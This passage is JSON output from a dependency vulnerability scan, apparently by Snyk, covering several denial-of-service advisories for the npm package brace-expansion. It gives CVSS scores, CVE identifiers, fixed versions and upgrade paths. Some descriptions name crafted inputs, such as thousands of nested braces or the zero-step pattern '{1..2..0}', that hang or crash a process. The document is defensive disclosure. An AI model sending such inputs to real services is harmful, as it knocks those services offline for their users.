"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
